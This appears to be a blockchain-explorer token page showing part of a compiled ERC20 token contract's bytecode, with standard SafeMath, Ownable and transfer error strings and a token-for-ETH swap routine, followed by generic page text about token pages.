6004546109869084906001600160a01b0316846105e9565b6001600160a01b0384166000908152600160205260409020546109a99083610d32565b6001600160a01b0385166000908152600160205260409020556109ee6109cf8383610d32565b6001600160a01b03851660009081526001602052604090205490610d03565b6001600160a01b0380851660008181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610a388585610d32565b604051610a4591906112ee565b60405180910390a350505050565b60008184841115610a775760405162461bcd60e51b815260040161041e9190611062565b506000610a8484866114e3565b95945050505050565b600082610a9c5750600061031b565b6000610aa883856114c4565b905082610ab5858361138d565b146103c25760405162461bcd60e51b815260040161041e9061116f565b60006103c283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610d74565b6000818311610b2357826103c2565b50919050565b6013805460ff191660011790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610b7957634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601054604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b158015610bcd57600080fd5b505afa158015610be1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c059190610ed8565b81600181518110610c2657634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152601054610c4c91309116846105e9565b60105460405163791ac94760e01b81526001600160a01b039091169063791ac94790610c859085906000908690309042906004016112f7565b600060405180830381600087803b158015610c9f57600080fd5b505af1158015610cb3573d6000803e3d6000fd5b50506013805460ff1916905550505050565b6005546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610cff573d6000803e3d6000fd5b5050565b600080610d108385611375565b9050838110156103c25760405162461bcd60e51b815260040161041e90611138565b60006103c283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610a53565b60008183610d955760405162461bcd60e51b815260040161041e9190611062565b506000610a84848661138d565b828054610dae906114fa565b90600052602060002090601f016020900481019282610dd05760008555610e16565b82601f10610de957805160ff1916838001178555610e16565b82800160010185558215610e16579182015b82811115610e16578251825591602001919060010190610dfb565b50610e22929150610e26565b5090565b5b80821115610e225760008155600101610e27565b600082601f830112610e4b578081fd5b813567ffffffffffffffff80821115610e6657610e66611560565b604051601f8301601f191681016020018281118282101715610e8a57610e8a611560565b604052828152848301602001861015610ea1578384fd5b82602086016020830137918201602001929092529392505050565b600060208284031215610ecd578081fd5b81356103c281611576565b600060208284031215610ee9578081fd5b81516103c281611576565b60008060408385031215610f06578081fd5b8235610f1181611576565b91506020830135610f2181611576565b809150509250929050565b600080600060608486031215610f40578081fd5b8335610f4b81611576565b92506020840135610f5b81611576565b929592945050506040919091013590565b60008060408385031215610f7e578182fd5b8235610f8981611576565b946020939093013593505050565b60008060408385031215610fa9578182fd5b823567ffffffffffffffff80821115610fc0578384fd5b610fcc86838701610e3b565b93506020850135915080821115610fe1578283fd5b50610fee85828601610e3b565b9150509250929050565b60008151808452815b8181101561101d57602081850181015186830182015201611001565b8181111561102e5782602083870101525b50601f01601f19169290920160200192915050565b6001600160a01b0391909116815260200190565b901515815260200190565b6000602082526103c26020830184610ff8565b6000606082526110886060830186610ff8565b828103602084015261109a8186610ff8565b91505060018060a01b0383166040830152949350505050565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604082015261737360f01b606082015260800190565b6020808252601b908201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604082015260600190565b60208082526021908201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6040820152607760f81b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526029908201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206040820152687468616e207a65726f60b81b606082015260800190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b60208082526017908201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604082015260600190565b90815260200190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b818110156113465784516001600160a01b031683529383019391830191600101611321565b50506001600160a01b03969096166060850152505050608001529392505050565b60ff91909116815260200190565b600082198211156113885761138861154a565b500190565b6000826113a857634e487b7160e01b81526012600452602481fd5b500490565b80825b60018086116113bf57506113ea565b8187048211156113d1576113d161154a565b808616156113de57918102915b9490941c9380026113b0565b94509492505050565b60006103c260001960ff85168460008261140f575060016103c2565b8161141c575060006103c2565b8160018114611432576002811461143c57611469565b60019150506103c2565b60ff84111561144d5761144d61154a565b6001841b9150848211156114635761146361154a565b506103c2565b5060208310610133831016604e8410600b841016171561149c575081810a838111156114975761149761154a565b6103c2565b6114a984848460016113ad565b8086048211156114bb576114bb61154a565b02949350505050565b60008160001904831182151516156114de576114de61154a565b500290565b6000828210156114f5576114f561154a565b500390565b60028104600182168061150e57607f821691505b60208210811415610b2357634e487b7160e01b600052602260045260246000fd5b60006000198214156115435761154361154a565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461158b57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122068eb10ec23a02e5a384084d79ab73ff58306a10c6980b4d38061bffea1c4251a64736f6c63430008000033

Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.